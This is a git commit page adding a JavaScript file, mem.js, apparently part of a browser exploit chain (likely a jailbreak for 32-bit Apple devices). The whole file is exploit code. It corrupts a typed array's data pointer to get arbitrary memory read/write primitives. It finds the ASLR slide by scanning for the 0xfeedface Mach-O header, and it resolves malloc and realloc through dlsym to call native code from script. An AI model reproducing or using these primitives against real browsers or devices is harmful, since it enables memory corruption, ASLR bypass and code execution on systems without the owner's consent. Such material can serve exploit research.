summaryrefslogtreecommitdiff
path: root/src/js/mem.js
diff options
context:
space:
mode:
authorspv420 <unomilliono@gmail.com>2022-04-23 18:22:31 -0400
committerspv420 <unomilliono@gmail.com>2022-04-23 18:22:31 -0400
commit245a3831d7266913b0281bfa19058b59ac80818b (patch)
treed20043b79a8df535a7df9b1d19c249e6ebd2d5a1 /src/js/mem.js
parent8526f9689b7bbeb09a14fbd159ef6d1871909df4 (diff)
big b0i
Diffstat (limited to 'src/js/mem.js')
-rw-r--r--src/js/mem.js186
1 files changed, 186 insertions, 0 deletions
diff --git a/src/js/mem.js b/src/js/mem.js
new file mode 100644
index 0000000..6c30376
--- /dev/null
+++ b/src/js/mem.js
@@ -0,0 +1,186 @@
+var shit_status = 0x144444;
+var global_sptr_addy = 0;
+var VECTOR_OFFSET = 0x10;
+var sptr_size = 0;
+var sptr_len = 0;
+
+/*
+ * read uint8_t
+ */
+function read_u8(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ /*
+ * `parent` is a Uint8Array of length 0x100.
+ * `child` is also a Uint8Array of length 0x100.
+ * `parent`'s `vector`, its pointer to where its data is stored, has been
+ * modified to point to the `child` object in memory.
+ * as such, accessing `parent` will allow for modifying the `child` object.
+ *
+ * the way this is used is by writing to `child`'s `vector` so it points to
+ * arbitrary memory. then, we can access `child`, and we now have arbitrary
+ * r/w
+ */
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return child[0];
+}
+
+/*
+ * read uint16_t
+ */
+function read_u16(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return u8x2_to_u16(child);
+
+}
+
+/*
+ * read uint32_t
+ */
+function read_u32(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return u8x4_to_u32(child);
+}
+
+/*
+ * read a buffer
+ */
+function read_buf(addy, len) {
+ var buf = new Uint8Array(len);
+
+ for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+ buf[cur_addy - addy] = read_u8(cur_addy);
+ }
+
+ return buf;
+}
+
+/*
+ * write a buffer
+ */
+function write_buf(addy, buf, len) {
+ for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+ write_u8(cur_addy, buf[cur_addy - addy]);
+ }
+
+ return buf;
+}
+
+/*
+ * write uint8_t
+ */
+function write_u8(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ child[0] = what;
+}
+
+/*
+ * write uint16_t
+ */
+function write_u16(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ u8x2 = u16_to_u8x2(what);
+ child[0] = u8x2[0];
+ child[1] = u8x2[1];
+}
+
+/*
+ * write uint32_t
+ */
+function write_u32(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ u8x4 = u32_to_u8x4(what);
+ child[0] = u8x4[0];
+ child[1] = u8x4[1];
+ child[2] = u8x4[2];
+ child[3] = u8x4[3];
+}
+
+/*
+ * get process slide
+ */
+function get_our_slide() {
+ for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) {
+ if (read_u32((slide << 12) + 0x4000) == 0xfeedface) {
+ return slide;
+ }
+ }
+}
+
+/*
+ * write str to addy
+ */
+function write_str(addy, s) {
+ for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) {
+ write_u8(cur_addy, s.charCodeAt(cur_addy - addy));
+ }
+
+ return s;
+}
+
+function init_sptr_heap() {
+ var dlsym_addy = read_u32(reserve_addr + 24 + slid);
+ var shc_slide = read_u32(reserve_addr + 20 + slid);
+ write_str(0x150000, "malloc\0");
+ var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0);
+ global_sptr_addy = call4arg(addy, 0x1000000, 0, 0, 0);
+ sptr_size = 0x1000000;
+ sptr_len = 0;
+
+ calls4arg("printf\0", sptr("sptr_heap=%p\n\0"), global_sptr_addy, 0, 0);
+
+ return global_sptr_addy;
+}
+
+/*
+ * sptr is meant to give you a pointer to a specified string
+ * remember your nul's!
+ */
+function sptr(s) {
+ if ((sptr_len + s.length) >= sptr_size) {
+ var dlsym_addy = read_u32(reserve_addr + 24 + slid);
+ var shc_slide = read_u32(reserve_addr + 20 + slid);
+ write_str(0x150000, "realloc\0");
+ var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0);
+ global_sptr_addy = call4arg(addy, global_sptr_addy, sptr_size + 0x100000, 0, 0);
+ sptr_size += 0x100000;
+ }
+ write_str(global_sptr_addy, s);
+ global_sptr_addy += s.length;
+ return global_sptr_addy - s.length;
+} \ No newline at end of file